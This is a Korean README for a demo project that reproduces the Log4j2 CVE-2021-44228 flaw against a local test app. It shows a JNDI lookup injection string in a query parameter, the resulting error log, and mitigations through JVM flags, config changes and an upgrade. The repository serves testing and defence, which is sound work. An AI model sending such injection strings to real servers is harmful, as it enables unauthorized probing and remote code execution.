
Demo 프로젝트: Log4j2 취약점 평가 | CVE-2021-44228
이 저장소는 Log4j2 취약점 CVE-2021-44228을 평가하기 위한 코드를 포함하고 있습니다.
쿼리 매개변수로 ${jndi:ldap://127.0.0.1:3089/}를 포함한 GET 요청을 보냅니다.
http://localhost:10000/test?userParam=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A3089%2F%7D
위 요청을 보내면 애플리케이션이 LDAP URL에 연결을 시도하고, 제 머신에서 해당 서비스가 실행 중이 아니므로 다음과 같은 오류가 출력됩니다.
2021-12-14 09:10:25,055 http-nio-10000-exec-1 WARN Error looking up JNDI resource [ldap://127.0.0.1:3089/]. javax.naming.CommunicationException: 127.0.0.1:3089 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]
at java.naming/com.sun.jndi.ldap.Connection.<init>(Connection.java:237)
at java.naming/com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137)
at java.naming/com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1610)
at java.naming/com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2752)
at java.naming/com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:320)
at java.naming/com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60)
at java.naming/com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61)
at java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:204)
at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)
at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)
at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:221)
log4j-core 버전이 >=2.10인 경우 다음 JVM 매개변수를 추가하여 이 JNDI 조회를 비활성화할 수 있습니다.
-Dlog4j2.formatMsgNoLookups=true
로그 메시지 패턴에 {nolookups}를 포함하도록 log4j2.xml 파일을 업데이트할 수 있습니다. 수정 사항은 update-log4j2-config 브랜치에서 확인하세요.
2.15.0으로 업데이트하세요. 수정 사항은 update-log4j-to-2.15.0 브랜치에서 확인하세요.